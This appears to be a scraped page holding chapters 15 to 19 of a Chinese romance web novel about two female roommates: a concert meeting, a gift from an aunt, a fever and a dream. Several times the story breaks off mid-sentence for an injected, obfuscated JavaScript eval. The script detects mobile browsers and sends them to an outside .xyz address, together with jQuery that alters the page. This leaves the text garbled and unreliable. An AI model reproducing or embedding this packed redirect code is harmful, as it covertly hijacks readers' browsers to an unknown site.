l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035933|162430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘛。” 夏云鲤:“……” 她深吸一口气,声音几乎是从牙缝里挤出来的,“你写剧本的,我说不过你,但我对她真的没有别的心思。” “真的?说谎的人要倒霉的哦。” “真……真的吧。”夏云鲤咬了咬唇,语气透着明显的心虚,她干咳了几声,相当突兀从兜里拽出门票,指着背面的地图说,“我想吃淀粉肠,你吃吗?休息点就在前面。” 没见过转移话题这么生硬的,梅子好笑地瞥她一眼。 总之该说的她都说了,谁能拒绝淀粉肠呢。 “吃!” 夏云鲤不是一个相信玄学的人,但来到寺庙,也总会拜一拜,图个吉利。 在心里许个愿望也费不了多少功夫。 不过这一次,她特意买了炷香,很是虔诚地将它合在手心,对着菩萨鞠了躬。 希望生活事事顺遂,希望能赚多多的钱。还不忘加上身份证号的现居住地,生怕菩萨找错人。 如此默念了三遍,夏云鲤踟蹰片刻,忍不住又加上了一句:希望室友姜池是个拉子。 殿中的菩萨低眉,神情慈悲,仿佛包容万物。 夏云鲤一丝不苟地按照步骤上了香,看着烟气袅袅上升,似乎直达天际。 也不知道菩萨能不能听见她的愿望。 回到家已经是晚上,梅子饿得嗷嗷叫,夏云鲤就先把腌好的醉虾拿出来给她吃,又卷了两张手抓饼,至于处理好的鹅还得在烤箱待一段时间,就当宵夜好了。 电视里放着电影,夏云鲤却时不时就看一眼手机,分明开了响铃,有新消息会有提示音。 梅子看不过去,“我不知道你什么时候学会用念力传电子消息了。” 夏云鲤也没心情狡辩,因为置顶聊天框内最近的消息,是在三个小时以前。 她苦恼地歪着头,“我就是不知道说什么。” “简单,就说现在看的电影,说说剧情,说自己喜欢什么,不喜欢什么,然后再问她喜欢什么类型的,话题不就打开了吗?还能顺便得到一点她的喜好。” “军师,我的神!”夏云鲤当场就支棱起来,噼里啪啦打了一串字出去。 消息刚发,就收到一条回复。 叮咚。 梅子咬着虾肉,正要调侃几句秒回速度,却见闺蜜的眉毛像两条波浪线似的拧了起来。 “怎么了,她说什么了?” 夏云鲤有些茫然地抬起头,“她说,她小姨给我准备了礼物,明天带给我。” “梅子,我怎么没懂啊?” 15. 第 15 章 "真的不用带。" 姜池无奈地推着小姨的手,然后第五次被她反推回来。年长的女性头发利落地在脑后盘起,眼镜下有一双和她相同的眼眸,正半眯着,显出不赞同的意味。 除了眼角的细纹,和略略向下耷的眼皮,两双眼睛简直一模一样。 “我又不是给你带的,是给人家带的,你拒绝什么?” 说话的人拂开阻挡的手,把水果放到新车的后备箱里。 她只是用诡辩给姜池一个无法继续争执的理由,听话的人却不知道想到了什么,抬起的手在原地僵了僵,耳根浅浅染上一层粉。 夕阳正好,霞云万里,照着每个人的脸都是暖色,姜池耳垂的一点淡红藏在发丝下,并不显眼。 她又拢了拢发丝,和亲人告别,坐进刚提的轿车里,银灰色的轿车缓缓驶入车流,速度平稳。 考驾照已经是大学时候的事,但姜池的记忆力很好,即便过了这么久也没有忘记如何开车,在4s店试了几圈后,就已经能熟练上路了。 第一次开车,她没什么特殊感觉。 姜雪兰女士虽然喜欢安排,但更爱争强,姜池的良好表现只会让她多一份夸耀的本钱,而她也信任自家外甥女的能力,并不担心。 等待红灯的间歇,姜池打开地图导航,将目的地改成市中心体育馆。 瓶子在圈内是很有名气的独立唱作人,而且还是唱跳型全能歌手,后来她公开出柜,知名度就更上一层楼了。 虽然声誉好坏参半,可她靠作品说话,并不在意那些流言。 夏云鲤不承认自己追星,她不打榜,也不搞那些活动,不关注对方的私人生活,认为自己只是喜欢瓶子的歌。 可演唱会结束,她顺着人流走出体育场,抱着灯牌,头顶戴着blingbling闪的小瓶子发夹,双颊还染着红,如珍似宝地捧着拍立得,和周围的每一个观众一样,操着沙哑的嗓子失魂落魄地说着对下一场演唱会的期待。 那份喜爱是共通的。 晚霞的余晖轻轻洒落在她的肩头,将润白的肌肤渡上一层柔色。 姜池站在立牌下,一眼就从熙熙攘攘的人群中,找到了最想见的人。 蝶翼形状的深绿色吊带半裹住胸口,不知道是什么材质,流光溢彩,格外吸睛,柔软腰肢下是不规则的拼接长裙,短处勉强盖过腿根,长的地方则垂到脚踝,走动时,一条腿露在外面,一条腿若隐若现。 纯黑的发丝间夹杂着明亮的红,垂在后背胸口,但不仅没起到遮挡的作用,反而更引人注意。 光她到这里的这段时间,就不下三个路人将视线投过去,而夏云鲤一无所觉,正专注和身旁的闺蜜说话,笑盈盈的,很高兴的模样。 唇线向下抿了抿,姜池蓦然回想起临出发前小姨的话。 如果她们不是室友,自己是不是就有权利拒绝了? 不论是迫于亲情压力下的、不合宜的礼物,亦或是这些半是欣赏,半是觊觎的目光。 某些想法忽然出现,沉入心海底层,却拴着一条绳索,随时都能浮上岸来。 姜池举起手摇了摇,看到夏云鲤明显惊呼一声,大笑着冲她跑过来。 裙摆在夏云鲤的身后飞扬,像一朵骤然盛开的玫瑰。 姜池心里忽然奇异地发痒,好似有羽毛在搔,随着人越来越近,这份痒意也愈发刺激。 她不得不捏了下喉咙缓解。 “姜姜!”夏云鲤灵活地从人群中挤过去,视线里,所有的路人都变成模糊的一团轮廓,只有路牌下身穿灰蓝色衬衣的短发女人,成为唯一的鲜明。 她好像有很多话想说。 回家里过的怎么样,新车上路感受如何,她昨天成功给流浪小猫喂了罐头,演唱会很好看,昨晚月亮很圆,家里又吵闹又安静…… 也许是每句话都争着向外赶,反倒让她一个字都没能说出来。 她以手做梳,顺了几下有些凌乱的发丝,仿佛能借此将乱做一团的思绪也一同理顺。 突然,一个抱着大灯牌的路人从她背后走过,对方正专注聊电话,无暇注意周边。 眼见着两人就要撞上,姜池迅速伸手,紧扣住夏云鲤的手腕向怀里一拉,没有迟疑,过分流畅,好似这个过程已然在她脑海里演绎过千万遍。 “小心。”她说,又对那人道,“麻烦看路。” 声音如水在夏云鲤耳边回荡。 她抬眸,发夹的霓虹灯光落入姜池深褐的眼瞳中,宛若夜空炸开的一道焰火。 “谢、谢谢。” 姜池把人扶稳就松开了手,正经得要命。 夏云鲤仿佛还能嗅到鼻端熟悉的薰衣草香,她闭上嘴,又张了张,“……要去吃夜宵吗?” 好不容易从人潮里挤出来的梅子刚喘口气,就听到这句话,差点没在心里摇头到把脖子摇断。 一小时后,几个人和外卖骑手一起到达楼下,梅子自告奋勇地把袋子提了过去,表示自己要先上楼去上厕所,就不陪她们找车位了。 “等晚上回去我问问物业有没有出租车位的。” 绕着小区逛了两圈,姜池才终于找到一个路旁的空位,把车子停了进去。 “怎么突然想买车了?还挺好看的,你开车好稳,完全看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035934|162430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不出来是新司机呢。”夏云鲤解开副驾驶的安全带,伸手摸了摸皮坐垫,鼻翼轻轻抽动,“嗯,也有一股新车皮革的味道。” “不想挤地铁了。”姜池扭过头,看着她说,“有车很方便。” “皮革味我也不喜欢,不然,你帮我选一款熏香?”停顿两秒,她又说,“我喜欢你挑的味道。” 路灯昏黄的光芒在她脸上投出明显的五官轮廓,她语气平常,眼神却深邃,仿佛随着微风起伏的海浪。 夜色难道是最好的氛围滤镜,不然夏云鲤怎么会觉得,对方不像是在说熏香,更像是说些别的东西。 被松开的安全带撞出咔哒一声,夏云鲤顺势抽回手,借着姿势偷偷捏了自己一下。 普通聊天而已,你又荡漾什么? 这是直女,直女! 心中默念三遍,夏云鲤轻扯唇角,笑眯眯地说:“家里的熏香还有多余的,正好可以拿过来用。” 姜池还是望着她,目光专注,“这算宣告领地吗?” 话音刚落,夏云鲤一呆。 “昨晚真是陪外甥女看了太久的动物世界。”隐在暗处的唇角悄悄勾了下,姜池慢悠悠地补充解释。 直女,直女! 夏云鲤默念着“清心咒”,开玩笑似的说:“对呀,不然我可不坐你的车。” 角色瞬间对调。 狭小的车内空间,只有空气流动,片刻后,两个人异口同声,“该下车了。” “梅子一会儿要等急了。” 姜池从后备箱里拿出一盒车厘子,还有一盒精包装的牡丹花茶。 “小姨送你的,说是感谢你帮我准备便当。” 先不论价值,光是突然收到礼物本身,就足够夏云鲤感到无措了。她和姜池的关系,应该还没进化到和对方家长有所往来的程度才对呀? 夏云鲤低头看了看两样东西,一时间拿不准主意要不要接过来,这份迟疑也如实显在她面上。 姜池没把东西递过去,自己提着,认真说道:“你不要有心理负担,她本意只是想展示自己是个和睦好说话的长辈形象,听到我和你合租,就非要买东西,其实是为了给我看的。” “你说过梅子喜欢吃车厘子,家里的吃光了,所以我才建议她买了这个。” 听她这么说,夏云鲤放松了不少,她呼出一口气,“真吓我一跳,我昨天收到你消息,差点把手机丢了。” “不过,感觉你和你小姨感情有点复杂哦。” 姜池沉默片刻,“复杂。但花茶很好喝。” 眸光微转,她单独强调道:“这是我挑的,我付的钱。” 16. 第 16 章 “你知道吗,你现在好像在做数学题,脸皱得像包子,全是褶子。” “看什么呢?” 梅子把袋里最后一点精华挤到手上,仔仔细细涂到脸上敷着的面膜上面,偏过头去瞧床上那位。 “在看直女的把戏。”夏云鲤歪在靠枕上,眼角眉梢都向下耷着,每一个字的尾音都向下降,最后一个字几乎像是从海沟里捞出来的,又沉又闷。 “都怪你总说那些有的没的,害得我要戒断一下。”长睫下的目光充满了幽怨,她没骨头似的颓着,嘴里嘀咕着诸如“闺蜜”、“朋友”、“伴娘”之类的词。 “你信那些投稿还是信我是秦始皇?呸不对,我说真的,姜池对你绝对有意思,她吃我的醋你没看出来吗?” 梅子扑腾一下蹦到床上,把手机从夏云鲤的手中抽出来扔到一边,强行让她看自己这张面膜脸。 “她吃醋哎!这不是喜欢是什么!” “友情也可以从吃醋啊,也有独占性的啊,你怎么分得清呢?”夏云鲤也跟着坐直,扬声争辩道,“那如果我说,你不是我最好的朋友,我的好闺蜜另有其人,是这几年认识的新人,你难道不会不高兴吗?” 两个人像打辩论赛一样瞪着眼睛,半晌后梅子败下阵来,“我会……但这不代表姜池对你也是友情啊!” “你有证据吗?”夏云鲤斗胜一局,得意洋洋地挑着眉。 “我有。”梅子说,“你亲她一下不就知道了。” 这下轮到她僵住,梅子兴奋起来,“你就亲她一下,看看她什么反应,没关系的啊,我们直女之间经常亲亲脸,好朋友就是这样,你亲一下,你亲你去亲!” 夏云鲤宛若被针扎了一样跳起来,“我去上厕所!” 门嘭地一声被关上,不知道比谁的心跳声更响。 对门正关着,客厅的月球灯实在太亮,容不下一丝潜藏的阴影,仿佛连她内心深处的想法也无处遁形。 牙齿陷入柔软的桃色唇肉里,靠在门板上的人连呼吸都仿佛停滞,不敢发出太大声音,怕脑海中的想法只差最后一根稻草,音量就足够大到让全世界都知道。 姜池的脸,看起来,的确很好亲。 啊啊啊啊你在想什么! 直女!直女! 。 梅子离开的那天,夏云鲤送她去火车站。姜池本想开车送,但学校临时有事走不开。 好闺蜜还是那样,快快乐乐地来,高高兴兴地走,全然不管自己究竟给人留下了多大的麻烦,嘴里还唏嘘着,“可惜啊,没能蹭上车。” 夏云鲤推着她的背,“快走快走。” “果然是有了新人忘了旧人,青梅永远比不过天降,一点舍不得都没有,就想赶我走。”梅子摇头,爱心形状的唇钉也没办法让她变可爱,只能变可恶。 夏云鲤无奈,“你有没有换个工作的打算呢,辞职去当红娘绝对更有前途,不算浪费了你这张颠倒黑白的嘴巴。” 她本来好好的,经受一个假期的洗脑摧残,看什么都觉得不对劲起来。 就连姜池说句早安,她都得浮想联翩一会儿,这怎么行! 更不要说,她又偷偷看了一堆和心选姐表白失败,朋友都做不成的贴。 如果真听了梅子的怂恿,而姜池确实是个直女,起码合租是肯定不可能了,说不准她还要搬家。 换位思考,假如一个男的过来和她表白…… 夏云鲤狠狠打了个冷颤,不用撸袖子就知道自己起了一身鸡皮疙瘩。 太可怕了。 把唯恐天下不乱的闺蜜送过安检门,夏云鲤长长叹了口气,就差把肺一起叹出去。 “还是别想那么多,想想晚上做什么菜吧。” 好像上天也发了善心,假期都是适合出门游玩的晴天,她刚坐地铁出来,打算去超市采购一番,突然就下了一场太阳雨。 雨势汹汹,来得快去得也快,全程不过几分钟,却正好把没带伞还走在路上的夏云鲤浇了个透心凉。 “还好今天背了小皮包。”她捋了一把湿漉漉的发丝,扯了下湿透的衣角,伸手拍了拍姜黄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035935|162430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 色的手提包,颇为乐观地说,“多亏有你,不然手机进水就麻烦了。” 太阳雨宛若一场漂亮的钻石流星,附近没什么能躲的地方,夏云鲤索性顶着雨往家里走。 等雨停下,她还很有闲情逸致地举起手机自拍了好几张照片,分别给姜池和梅子都发了过去。 梅子:【嚯,你就发这个,湿/身/诱惑!哎唷,别太撩了姐妹】 夏云鲤懒得理她,奇怪的是,一向都是秒回的姜池却迟迟没有消息。 每走两步,她就忍不住看一眼手机,还是没有动静,一直到快走到家,对面的回复才来。 【你在哪儿,用不用我去接你?】 按下电梯,夏云鲤轻轻咬着唇角,眼角眉梢都流露着喜意,【不用啦,我已经到家了,本来想去超市的,刚走到药房就挨了一通浇,虽然太阳雨怪好看的,但还是倒霉倒霉】 【等下我洗个澡再出门,你晚上有没有想吃的,没有我就自行发挥了哦】 姜池先回了一句吃什么都可以,接着再度点开图片,这才看到背景里,灌木后面是益民大药房的招牌。 谁会注意到? 她的耳中似乎幻听到了那场瓢泼突然的大雨,同时听到宏大喧哗的雨声,和水滴渗入棉质布料,与纤维融合的安静细响。 颈项锁骨皆是水淋淋的,日光照下,反射出一片腻白,像一小片更明亮的月光。细细的吊带就挂在圆润肩头,吸饱水的潮湿布料过分贴合曲线,浅粉的爱心印在胸口,饱满动人。 将落未落的雨滴坠在睫毛上,好似一场雾蒙蒙的、只会出现在梦境里的湿润请求。 “姜老师。”同事侧过身来,“你看这个课……” 她迅速按下锁屏键,漆黑的玻璃屏映出一双专注的、炽热的眼。 几分钟后,她回到座位上,重新打开手机。 下载,保存,转移到隐私相册。 【能顺便买点水蜜桃回来吗?】 夏云鲤:【好啊好啊,你很喜欢吃桃子哦】 【喜欢,很甜】 17. 第 17 章 喜欢雨天,和讨厌湿气,应该谈不上冲突。 尽管打开了空调的除湿模式,夏云鲤也没觉得房间内的潮气有改善多少。 窗外是连成一片的灰云,雨线淅淅沥沥,空气像海绵吸饱了水,仿佛能徒手拧出一盆用来养鱼。 每到梅雨季的时候,夏云鲤就恨不得自己是个有点本事的,法术也好魔法也好,只要能给房间一键除湿,哪怕让她突然中几千万请保洁来二十四小时打扫也行啊。 噪音极大的破壁机终于完成了自己的工作,夏云鲤洗干净双手,把里面的姜汁倒在纱布上过滤。 姜汁滴落进碗内的叮咚声,勺子与纱布的摩擦声,以及连绵的雨声,都被相机尽职尽责地收录进去。 这是她的新视频,甜点白噪音系列,下雨天这么潮,当然要吃姜汁撞奶了。 倒进锅中的牛奶咕嘟嘟冒着气泡,奶香味四溢。夏云鲤握住勺柄顺时针搅拌,心里却在想出门的姜池。 姜池不算宅,这人经常在休息日离家,并非逛街,基本是加班,每次也都会告诉她。 她本来是想问问姜池中午回不回家,从实验大棚回来差不多要一个半小时,从学校回来大约十五分钟,她好估算着时间做饭。 拿手机的时候才发觉,姜池今天并没有说自己去哪儿。 她问了,对方也只是说晚上回,叫她晚饭也不用等。 凝结成冻的姜撞奶装在玻璃碗里,用勺背轻拍,好似一块雪做的果冻弹起来,上面又洒了几朵金黄的桂花做点缀。 色香味俱全,夏云鲤却没什么想吃的心思。 拍好视频收尾,她就把它重新放回冰箱冷藏室,打算等姜池回来再一起吃。 这一等,就等到夜幕降临。 窗外分不清是雨是雾,又或者房子已经沉入海里,不然要如何解释墙面上的水珠。 夏云鲤抱着冰淇淋桶,一点点舔干净勺子,电视光芒明灭,在她脸上投下闪烁的阴影。 距离早上姜池离家,正好过去了完整的十二个小时,她发给对方的一些消息,分享的小猫视频,也都没有得到回复。 这让夏云鲤不能不生出担忧的心思。 时钟走过九点,门口终于传来了响动。 夏云鲤就差没竖起虚幻的耳朵,用来彰显自己抓取到了这点细微的动静。 她快速调转视线,手掌按在沙发靠背上,向前倾身,消失了一天的姜池就这样再度出现。 而她看起来,似乎被谁打了一顿。 倒不是有什么外伤,姜池的外表完好无损,衣服也好好地穿在身上,就是有一点潮湿。 这样的雨天,要是谁能出门一趟还干干爽爽的,那才是奇了怪了。 是她的样子。 向来挺直的脊背佝偻着,肩膀向下塌,两条胳膊仿佛被谁一碰就能从身体上掉下去。目光也没什么焦距,鼻头反倒是红的,要不是眼睛没肿,夏云鲤真要怀疑,这人是不是跑哪儿哭了一通。 “姜姜,我给你留了饭。”她尽量控制着声音,让它轻轻地散在空中。 因为姜池看起来……就像外面的雨,全是她的眼泪变成的。 “我不饿。”姜池说。 “好吧……”夏云鲤又慢慢坐回去,她尽管很想知道这人做什么去了,但现在显然不是一个聊天的好时机。 “阿嚏!阿嚏!” 姜池的谢只挤出一个音,就被突然到来的猛烈喷嚏打断了,四个惊天动地的喷嚏成功让她的眼圈也红了起来。 夏云鲤彻底坐不住了。 她快步走过去,就把姜池往卧室里拽,刚伸手握住对方手腕就是一顿。 “怎么这么冰?你绝对感冒了,快去躺着,我给你倒热水拿药,最近流感很严重的,一不小心就中招了。” 走近了才发现,姜池不仅衣服是湿的,发尾也是,身上更是冰冰凉凉,一点热气没有,简直像是刚从冰窟窿里捞出来。 “快换衣服。” 把人推进卧室,夏云鲤直接跑去饮水机那里开烧水模式,再返回自己房间,从衣柜里把暖手宝翻出来插上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035936|162430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电。 几分钟后,她带着一堆东西敲响隔壁房门。 “请进。” 这是夏云鲤第一次进姜池的卧室,这之前,她只是偶尔能透过打开的房门不经意扫上一眼,出于礼貌和尊重,她都会快速移开目光。 如果对方忘了关门,她还会帮忙关上。 而现下,她尽管正式踏入这里,却也顾不上多看两眼,视线就像是被无形的线牵引着,直直便落到了床榻边坐着的人身上。 “快躺下呀。” 夏云鲤放下水杯,把暖手宝塞进姜池怀里,全然不顾对方是否愿意,伸手就把她推倒到床上,又拽过被,像裹礼物似的把人包了起来。 “先喝水。”她端起水杯,将杯沿抵到姜池唇边,见人愣愣地不动,不禁催促道,“快喝呀。” 姜池动了动胳膊,有些混沌的脑袋还没搞清楚到底发生了什么,好像只是一瞬,她就从好好坐着的人,变成了一个被裹紧的宝宝,还是为了防止乱动,胳膊腿都被毯子缠住的那种。 夏云鲤又催了一遍。 姜池沉默着,艰难地把手抽出来,成功找回自己端水的权利。 “我应该没感冒。”她试图说服太过紧张的室友。 “你看看你,手是冷的,额头是烫的,说不定都发烧了,来,先夹上体温计。” 夏云鲤端走水杯,用额头抵着试了体温,把要坐起来的姜池轻松按了下去。 她摇着头,一脸不赞同地说:“你的脸都烧红了,还要嘴硬。姜姜,难道你是害怕吃药太苦吗?” 肩膀被一股大力按下的下一秒,属于另一个人的微凉体温,就这样顺着相抵的前额传过来,姜池来不及拒绝,被浓密睫毛扫过的痒意酥麻,宛若电流,刹那间冲刷过全身。 她的骨头软成棉花,舌头化成甜水,彻底丧失了辩驳的能力,无法解释脸红原因,只能被迫认下自己怕苦。 她点了头,室友的眼神反而更亮了。 “可怜姜姜。”夏云鲤说,“我一定会照顾好你的。” 18. 第 18 章 “三十八度四,还说自己没感冒。” 夏云鲤看着体温计上的度数,关怀的目光当场转为责备,看得正挣扎起身的姜池石化当场。 后者捏住被角,老实躺回枕头上,心里却忍不住嘀咕:教导主任的名头,应该换小鱼来做才对。 越是好说话的人,一旦板下脸,就显得越可怕。 “你不想打针的话,我们就先吃药好不好?家里有冲剂,应该不会太苦。”见人乖乖躺好,夏云鲤软化下来,又爱又怜地摸了摸姜池的头发,留下一句等我,就起身出门去拿药箱了。 姜池紧紧抿着唇线,从耳根到面颊都红着,双眸略微失焦,瞧着就跟发烧到脑子不清醒似的。 又有体温计作证,谁能看出来这里也有害羞的一份功劳。 从客厅方向传来药箱被翻动的哗啦声,姜池偏头,蹭了下枕头,仿佛想要视线穿透门板和墙体,见到正为她忙碌的人。 今天是她双亲的忌日。 姜池在墓园待了整整一天,说了很多话。讲她现在的工作,生活,讲夏云鲤。 一谈到后者就滔滔不绝,从她们第一次见面,在小区门口见到正喂猫的夏云鲤,再到第一次一起吃饭,洗碗,逛街采购。 很难想象会有这样一个人,自然又突然地出现在她的生命里。 她的同事兼同学庄思雨,用了四五年的时间,才让姜池放下防备,把她当成朋友。 小鱼却快的不可思议,从陌生人到朋友,能有两周吗? 突然产生的感情于她而言,就像是黑纸上的一点雪白,荒原上的一簇篝火,太过鲜明显眼,想不发现都难。 姜池同父母说了自己的心思,照片上的人面容尚且年轻,含着笑,花叶随风摇动,像是在点头,又像是包容。 她却像吃了一颗定心丸,更坚定了自己的想法。 翻出手机,姜池点开万能的搜索引擎某书,去搜索如何分辨一个人是直女还是同。 活了二十七年,她头一次有了想要恋爱的冲动,也有了心动的对象,不曾想一上来就是高难度,竟然需要先考虑自己在不在对方的择偶范围里。 看了一堆帖子,姜池找来找去只总结了三个字——边界感。 这部分因人而异,但大多数直女之间的相处都很亲密,日常不论是牵手、挽手,或者拥抱,贴在一起,说一些爱来爱去的话,都属于正常行为。 有的还会互相亲对方的脸。 相比较下,女同就会很注意自己的行为,基本不会主动和同性有太多肢体接触。 那么小鱼呢? 她刚要回想,正主就走了过来,动作自然地把冲好的退烧药放到唇边吹了吹后递过来。 “不然我喂你吧,发烧的人会没力气,不要逞强哦。”她说。 一副如果姜池点头,她真会动手的模样。 看姜池自己把水杯接过去喝了,她还有点遗憾地说了句好吧。 搞得姜池一时间不太确定自己究竟是感冒,还是瘫痪。 夏云鲤又举出两瓶口服液,吸管都插好在上面,见人乖乖喝了,她哇了一声,仿佛幼师再就业般开口道:“全喝光了,姜姜太棒啦,这么苦的药直接就喝完了,好厉害哦。我切了苹果,快来甜甜嘴吧。” 姜池:…… 迎上人高兴又夸赞的目光,她的耳根可耻地红了两个度,唇瓣翕动两下,“没有很苦。” 苹果已经削了皮,切成小块,插着牙签,还没吃就闻到一股清甜的水果香,放入嘴里一嚼,汁水充沛,几乎甜得让人牙疼。 是药太苦?还是话里的糖分太多? 姜池晕晕乎乎,被人拿着湿巾擦手擦脸都没能拒绝,夏云鲤让她抬手,她就抬手,让她仰头,她就仰头。 迷迷糊糊地又被人顺了顺头发,避免躺下时扎到脖子。 室内的光被调整昏暗的暖黄,药效很快发作,姜池的眼皮开始打架。 而夏云鲤不知道哪儿找来一段儿童睡前读物,不急不缓地念着小鸭子的故事,声音像流动的小溪,舒缓又平和。 “快睡觉吧。”她说,“我守着你呢。” 说来也怪,姜池就这样睡着了。 她本来觉得自己应该说点什 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15035937|162430||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么,例如谢谢,我没事之类的话。她的理智还没下线,已经二十七的人还听睡前故事,实在太荒谬,区区小感冒就被这样夸张地照顾,更是荒唐,又不是没生过病,哪有这么娇气。 可拒绝的话就是没能说出口。 灯光像融化的蜂蜜,夏云鲤的声音是柔软的音符,被子是催眠的陷阱,拽着她往梦境深处游去。 姜池的呼吸逐渐平稳悠长起来。 夏云鲤慢慢停止读文,她坐在床边,静静看着陷入沉睡的人。 发觉眼镜对眼睛的缩小作用还是挺大的。 姜池的眼尾微微上挑,睫毛却没有那么卷,只是稍稍带着一点弧度,像两个小扇子。她有一个很完美的鼻子,和偏薄的唇。 唇肉的颜色像红柚果肉,淡粉,淡红,就是不知道尝起来是不是也很甜。 察觉到跑偏的心思,夏云鲤轻轻拍了自己一下。 她调转视线,终于有时间能观察一下这间卧室了。 目光扫了一圈,夏云鲤无端想起她刚搬过来的时候,房间就这么素,什么都没有,只多了床头柜上的一个西部牛仔小猫摆件。 大概,姜池就是那种外表冷淡,内心很柔软的人吧,所以才会喜欢这些东西。 真看不出来。 所以总是板着脸的人,忽然像落难小狗一样回家,夏云鲤仿佛被戳中了内心深处最柔软的地方,当场母爱泛滥。 直到现在,她才忍不住唾弃自己反应实在过激。 正反思时,床上忽然传来点动静。 熟睡的人翻了个身,从平躺转为侧躺,膝盖弯着,两只手交错放在枕头上,微微握着,细碎的发丝轻搭在脸旁,和睫毛一起挡出一小片阴影。 啊——可爱—— 夏云鲤无声尖叫起来,难以遏制地掏出手机咔嚓偷拍了两张照片。 平时生人勿进的,睡觉时竟然缩成小小一团。 夏云鲤啃着指尖,快速又蹑手蹑脚地关灯出门,紧紧攥着手机,贼似的跑了。 再呆下去,她恐怕就要发出一点分贝奇高的动静来,把整栋楼都吵醒了。 19. 第 19 章 姜池很少做梦,通常都是一觉睡到天亮。 庄思雨听说这件事以后,又是羡慕又嫉妒,像吃柠檬似的,嘴里直冒酸气,说她自己每天都会做梦,休息不好,脑袋很累。 她当时没觉得不做梦有什么新奇的。 奇妙的是,姜池现在很清楚自己正在做梦。 毕竟不会有人活在海里。 她变成了一条人鱼,住在一个很小的海底洞穴里,洞穴里有一个超级大的贝壳,她每天就在贝壳里睡觉,把床打理的干干净净,还准备一些水草珍珠做装饰。 有一天海面下了大暴雨,他在水底听到人类的呼救声,浮到水面上一看,一艘巨大的轮船正要沉没。 原来这是小美人鱼的梦,她颇为好笑地想,一定是睡前听夏云鲤念童话故事的功劳。 然后她就见到了从船上跳下来的公主,穿着流光溢彩的银白长裙,璀璨的王冠戴在卷曲柔软的黑发里。 公主有着和夏云鲤一样的脸,姜池来不及多想,身体比脑子动得更快,先一步把公主救下。 没想到下一秒,夏云鲤公主突然长出了翅膀,抱着她一起飞上了云彩做的王国,告诉她自己正缺一位妻子。 说着就弯下腰向她吻了过去。 公主的唇比云还要柔软,身体像蜜糖一样甜。 姜池是被敲门声叫醒的。不知道是应该感谢还是埋怨,梦境就这样被打断。 “起床啦姜姜,已经七点了哦,今天还要上班呢。” 分明刚刚还在叫她“我的爱人”,一睁眼就换了个称呼。 姜池掀开被子,伸手摸了一下额头,温度已经降下来了。呼吸也很顺畅,没有鼻塞,看来她的感冒吃一片药就好了。 不知道怎么回事,心里竟然觉得有一点遗憾。 夏云鲤正在端菜。 今天的早餐非常清淡,主食是小米粥,配菜是皮蛋豆腐,素炒油麦菜。 她昨天睡的有一点晚,比平时要晚睡两个小时,但今天依旧精神奕奕,半点疲倦都没有。 想到原因,夏云鲤下意识摸了一下手机。 偷拍是一件非常不好的事情,何况对象是姜池,让这件事又添了一点奇异桃色。 那张照片在最近删除和隐私相册之间反复跳转了好几次,最终躺在了后者里面。 只是自己看,不拿出去到处宣扬,怎么也不能算是侵犯肖像权吧……夏云鲤心虚地咬了下舌尖。 反正她是不可能删掉的。 卫生间的人洗漱完毕,来到客厅,两个人打了一个照面,不约而同地都移开了视线,一个看东边,一个看西边,谁也没看到对方在心虚。 “姜姜,快来吃饭。”夏云鲤率先开口,拉开椅子,对站着不动的人招手,“今天中午就不给你带饭了,我想炖个汤给你补补身体,等午休时间我给你送去吧。” “我的感冒已经好了,不需要这么麻烦。”姜池几乎没思考就说出了拒绝的话。 她还记得,之前夏云鲤去学校的时候,这个人到底有多惹眼,多能招桃花。 年轻的大学生肆意胆大,仗着青春年盛,看见合眼缘的人就冲上去要联系方式,根本不管不顾。 夏云鲤再去学校走一圈,恐怕好友列表都要加到上限了。 “感冒哪有这么快就好的,何况你昨天发烧了,身体的免疫力下降了,当然要吃点有营养的东西了。” 